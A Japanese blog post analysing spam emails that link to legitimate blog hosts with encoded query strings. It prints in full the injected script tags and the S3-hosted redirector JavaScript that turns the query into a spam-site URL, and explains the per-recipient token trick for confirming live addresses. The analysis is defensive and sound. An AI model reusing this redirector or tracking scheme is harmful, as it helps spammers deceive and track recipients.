初めに
本記事は技術的な調査を行った結果を記載しています。
標的とされたサイト自体に脆弱性があるのではなく、各サイトの機能を悪用しているものと認識しています。
なお、被害防止のため、一部URLには加工を入れています1。
更新履歴
- 2022年5月1日
- 初版を「最近来ることがある「ココログのアドレスが入っている迷惑メール」を調べてみた」というタイトルで公開
- 2022年5月6日
- Jimdoでの事例を確認したため、タイトルを「正規っぽいアドレスに謎のパラメータが付いている迷惑メールを調べてみた」に変更
- 上記に関連して表記を修正
今回の調査対象メール
From: vmhf7ip mailmaster@example.xyz
件名: ★message★補佐担当様⇒VIPゲスト様へ新しいメッセージが届きました。新着メールが届いております♪
https://hogepiyo.cocolog-nifty.com/blog/?8u2qd9kit3go6l7za0ey+7uj5wgq+example+Xy%2Fhogehoge%2Fnp配信停止ご希望はこちら
https://hogepiyo.cocolog-nifty.com/blog/?hevc7r8ftnsa56b0klu+a0o5xof+example+dFI8iZMDZe%2Fjv4東京オリンピック開催まであと20日余、国民はアスリートと健康の象徴を夢見れるか、、
2022年新成人に関する調査~政治への期待が8年ぶりに回復。海外への関心は軒並み低迷~/マクロミル調べ(ニュースレター)株式会社マクロミル(本社:東京都港区、代表執行役社長グローバルCEO:佐々木徹)は、データでひも解く最新トレンド情報をニュースレターとしてお届けしています。1月5日配信号のテーマは、「2022年新成人に関する調査」。当調査は2008年から開始し、今回で15年目の定点調査です。今年成人式を迎える500名にきいた夢や関心事、就職や世の中の潮流に対する考え、SNSやデジタル機
このメールの特徴として、
- 正規っぽいサイトのアドレスが記載されている
- 作りたてで中身がほぼない場合がほとんど
- 配信停止フォームへのリンクがなぜか2つあり、そのうち1つはGoogleフォーム
- これらの記載がない場合もあります
- どこかのネット記事の引用が含まれている
という点が挙げられます。
サイトをチェックしてみる
上記アドレスを調査してみました。
その際には、謎のクエリストリング(?の後ろ)を消してアクセスしています。なぜかというと、そこに「メールアドレスを特定する文字列」が含まれている可能性があるためです。
その結果、怪しいコードにたどり着きました。
https://s3-ap-northeast-1.amazonaws.com/public.release/javascript/boost_v2.0.js です。
boost_v2.0.jsのコード
var access_url = location.search;
if(access_url == ""){
access_url = location.hash;
}
var tmp_url = access_url.replace(/[0-9a-z]/gi, '');
var split_key = tmp_url.charAt(1);
var split_url = access_url.split(split_key);
split_url_00 = split_url[0];
split_url_01 = split_url[1];
split_url_02 = split_url[2];
split_url_03 = split_url[3];
split_url_04 = split_url[4];
split_url_05 = split_url[5];
split_url_06 = split_url[6];
split_url_07 = split_url[7];
split_url_08 = split_url[8];
domain_no_1 = split_url_01.charAt(3);
domain_no_2 = split_url_01.charAt(4);
if(!isNaN(domain_no_2)){
domain_id = domain_no_1+domain_no_2;
}else{
domain_id = domain_no_1;
}
switch (domain_id){
case '1':
top_domain='com';
break;
case '2':
top_domain='net';
break;
case '3':
top_domain='jp';
break;
case '4':
top_domain='work';
break;
case '5':
top_domain='xyz';
break;
case '6':
top_domain='space';
break;
case '7':
top_domain='site';
break;
case '8':
top_domain='fit';
break;
case '9':
top_domain='fun';
break;
case '10':
top_domain='icu';
break;
case '11':
top_domain='monster';
break;
case '12':
top_domain='online';
break;
case '13':
top_domain='website';
break;
case '14':
top_domain='buzz';
break;
case '15':
top_domain='club';
break;
case '16':
top_domain='cyou';
break;
case '17':
top_domain='pw';
break;
case '18':
top_domain='email';
break;
case '19':
top_domain='life';
break;
case '20':
top_domain='biz';
break;
default:
top_domain='error';
}
split_url_02 = split_url_02.replace("%23", ".");
split_url_02 = split_url_02.replace("%23", ".");
split_url_02 = split_url_02.replace("%23", ".");
split_url_03 = decodeURIComponent(split_url_03);
split_url_04 = decodeURIComponent(split_url_04);
split_url_05 = decodeURIComponent(split_url_05);
split_url_06 = decodeURIComponent(split_url_06);
split_url_07 = decodeURIComponent(split_url_07);
split_url_08 = decodeURIComponent(split_url_08);
var sub_url = "";
if(split_url_03 !="undefined") sub_url += "/"+split_url_03;
if(split_url_04 !="undefined") sub_url += "/"+split_url_04;
if(split_url_05 !="undefined") sub_url += "/"+split_url_05;
if(split_url_06 !="undefined") sub_url += "/"+split_url_06;
if(split_url_07 !="undefined") sub_url += "/"+split_url_07;
if(split_url_08 !="undefined") sub_url += "/"+split_url_08;
if (top_domain !='error') {
location.href = "http://"+split_url_02+"."+top_domain+sub_url;
}
このコードをこれから読み込んでみます。
URLは一番上の https://hogepiyo.cocolog-nifty.com/blog/?8u2qd9kit3go6l7za0ey+7uj5wgq+example+Xy%2Fhogehoge%2Fnp
を使ってみます。
コードを読み込む
クエリストリングを取得する
まずはこの部分を見てみます。
var access_url = location.search;
if(access_url == ""){
access_url = location.hash;
}
まずは、クエリストリング(?の後ろ、?を含む)を取得して、それがない場合は、フラグメント識別子(#の後ろ、#を含む)を取得しています。
ここで、 access_url
は ?8u2qd9kit3go6l7za0ey+7uj5wgq+example+Xy%2Fhogehoge%2Fnp
となります。
クエリストリングを分割していく
var tmp_url = access_url.replace(/[0-9a-z]/gi, '');
var split_key = tmp_url.charAt(1);
var split_url = access_url.split(split_key);
split_url_00 = split_url[0];
split_url_01 = split_url[1];
split_url_02 = split_url[2];
split_url_03 = split_url[3];
split_url_04 = split_url[4];
split_url_05 = split_url[5];
split_url_06 = split_url[6];
split_url_07 = split_url[7];
split_url_08 = split_url[8];
最初の行で、クエリストリングの英子文字と数字を除いた文字列を得ています。
今回の場合は、 tmp_url = '?+++%%'
となります。
続いて、クエリストリングの分割に使用するキーを取得しています。
2行目になりますが、 charAt
関数で「2文字目」を取得しています。
この関数に渡すのは、「先頭文字を0とした、取得したい文字の位置」なので、「1」を指定すると「2文字目」を取得する動作となります。
つまりここで、 split_key = '+'
となります。
そして3行目で実際に分割を実施し、4行目以降で変数に分割結果を代入しています。
ここで設定された変数は下記の通りです。
変数名 | 値 |
---|---|
tmp_url | ?+++%% |
split_key | + |
split_url_00 | 8u2qd9kit3go6l7za0ey |
split_url_01 | 7uj5wgq |
split_url_02 | example |
split_url_03 | Xy%2Fhogehoge%2Fnp |
TLDを決定する
domain_no_1 = split_url_01.charAt(3);
domain_no_2 = split_url_01.charAt(4);
if(!isNaN(domain_no_2)){
domain_id = domain_no_1+domain_no_2;
}else{
domain_id = domain_no_1;
}
// これ以降は後述します
引き続き、 charAt
で文字を取得します。
変数名 | 値 |
---|---|
domain_no_1 | 5 |
domain_no_2 | w |
domain_no_2
は数値として認識できない文字列のため、 isNaN(domain_no_2)
は true
を返します。
(isNaN
関数は、渡されたのが数値として判断できない場合はtrue
を返します)
故に、 domain_id = '5'
となります。
後半のコードですが、case
ステートメントでTLDを決定しています。
該当部分だけ抜き出すと…
switch (domain_id){
case '5':
top_domain='xyz';
break;
default:
top_domain='error';
}
となり、 top_domain = 'xyz'
となります。
URLをデコードする
split_url_02 = split_url_02.replace("%23", ".");
split_url_02 = split_url_02.replace("%23", ".");
split_url_02 = split_url_02.replace("%23", ".");
split_url_03 = decodeURIComponent(split_url_03);
split_url_04 = decodeURIComponent(split_url_04);
split_url_05 = decodeURIComponent(split_url_05);
split_url_06 = decodeURIComponent(split_url_06);
split_url_07 = decodeURIComponent(split_url_07);
split_url_08 = decodeURIComponent(split_url_08);
最初の3行では split_url_02
に対して処理をしています。
今、split_url_02 = 'example'
なので、この3行ではこの変数に関しては変化なしです。
4行目以降は decodeURIComponent
を使ってURLをデコードしています。
変数名 | 処理前の値 | 処理後の値 |
---|---|---|
split_url_03 | Xy%2Fhogehoge%2Fnp | Xy/hogehoge/np |
URLを組み立てて遷移させる
var sub_url = "";
if(split_url_03 !="undefined") sub_url += "/"+split_url_03;
if(split_url_04 !="undefined") sub_url += "/"+split_url_04;
if(split_url_05 !="undefined") sub_url += "/"+split_url_05;
if(split_url_06 !="undefined") sub_url += "/"+split_url_06;
if(split_url_07 !="undefined") sub_url += "/"+split_url_07;
if(split_url_08 !="undefined") sub_url += "/"+split_url_08;
// これ以降は後述します
まずはsub_url
を組み立てていきます。
今回はsplit_url_03
しかありませんので、sub_url = "/Xy/hogehoge/np"
となります。
if (top_domain !='error') {
location.href = "http://"+split_url_02+"."+top_domain+sub_url;
}
最後にURLを組み立てます。
関係する変数はこんな感じになっています。
変数名 | 値 |
---|---|
split_url_02 | example |
top_domain | xyz |
sub_url | /Xy/hogehoge/np |
組み立てたURLは http://example.xyz/Xy/hogehoge/np
となり、このアドレスに遷移させて(location.href
をセットする)このスクリプトの処理が完了します。
対策
まずは基本的な部分から言いますと、「不審なメールのURLにはゼッタイにアクセスしない」というのが鉄則です。
「配信停止」のリンクに惑わされてはいけません。そのURLに「メールアドレスを識別するための文字列」が含まれているかもしれないからです。
例えば、メールアドレスに対して次の符号を割り当てたとします。
メールアドレス | 符号 |
---|---|
hoge1@example.com | nweitgbweoobgi |
hoge2@example.com | newugoewgewogw |
ここで、 hoge1@example.com
宛に、URL http://example.com/nweitgbweoobgi
を含むメールを送信します。
そして、hoge1@example.com
がこのURLへアクセスした場合、符号nweitgbweoobgi
から、
-
hoge1@example.com
に宛てて送信したメールのアドレスへのアクセスがあった - 故に
hoge1@example.com
にメールが送信された
ということがわかります。
つまり、「このメールアドレスは有効だ」というのを通知してしまうことになり、配信が停止されるどころかさらにメールが届く可能性もあります。
後は、攻撃の実例を収集して分析するのも大事です。
今回の分析で、「サイトに不正なコードを仕込んで、特定のURLでのアクセスがあった場合に遷移させる」手法がとられていることが判明しました。
仕込まれていた不正なコードは下記の通りです。
<script type="text/javascript">
var script = document.createElement('script');
script.type = 'text/javascript';
script.src = "https://s3-ap-northeast-1.amazonaws.com/public.release/javascript/boost_v2.0.js?p="+(new Date());
var element = document.head;
element.appendChild(script);
</script>
<script type="text/javascript">
var script = document.createElement('script');
script.type = 'text/javascript';
script.src = "https://s3-ap-northeast-1.amazonaws.com/public.release/javascript/boost_v1.0.js?p="+(new Date());
var element = document.head;
element.appendChild(script);
</script>
<script type="text/javascript" src="https://s3-ap-northeast-1.amazonaws.com/public.release/javascript/boost_v2.0.js"></script>
<script type="text/javascript" src="https://s3-ap-northeast-1.amazonaws.com/public.release/javascript/boost_v1.0.js"></script>
つまり、任意のコンテンツブロッカーで、次の2つのURLへのアクセスをブロックしてしまえば、今回の事例ではノーダメージとなります。
- https://s3-ap-northeast-1.amazonaws.com/public.release/javascript/boost_v2.0.js
- https://s3-ap-northeast-1.amazonaws.com/public.release/javascript/boost_v1.0.js
今回は boost_v2.0.js
に絞って分析してきましたが、 boost_v1.0.js
も、クエリストリングを見て遷移させるコードでした。
両方のブロックで被害を食い止められるのではないかと思います。
-
example.com
は、RFC2606で定められている例示用ドメインの1つです。 ↩